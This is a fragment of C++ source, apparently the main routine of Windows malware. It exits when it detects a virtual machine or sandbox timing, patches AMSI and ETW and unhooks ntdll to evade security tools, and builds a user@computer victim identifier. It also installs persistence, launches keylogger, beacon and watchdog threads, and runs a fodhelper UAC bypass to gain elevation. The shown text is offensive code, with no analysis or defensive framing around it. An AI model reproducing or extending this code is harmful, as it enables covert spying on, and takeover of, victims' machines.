    if (looks_like_vm()) return 0;
    if (sandbox_timing()) return 0;

    patch_amsi();
    patch_etw();
    unhook_ntdll();

    char u[256]; DWORD s = 256; GetUserNameA(u, &s);
    char c[256]; DWORD cs = 256; GetComputerNameA(c, &cs);
    g_id = std::string(u) + "@" + std::string(c);

    GdiplusStartupInput gdiIn;
    ULONG_PTR gdiToken;
    GdiplusStartup(&gdiToken, &gdiIn, nullptr);

    install_persistence();

    std::thread(keylogger_thread).detach();
    std::thread(beacon_loop).detach();
    std::thread(watchdog_thread).detach();

    BOOL elevated = FALSE;
    HANDLE tok = nullptr;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok)) {
        TOKEN_ELEVATION te{}; DWORD sz;
        GetTokenInformation(tok, TokenElevation, &te, sizeof(te), &sz);
        elevated = te.TokenIsElevated;
        CloseHandle(tok);
    }
    if (!elevated) uac_bypass_fodhelper();

    MSG msg;
    while (g_running && GetMessageW(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }

    GdiplusShutdown(gdiToken);
    return 0;
}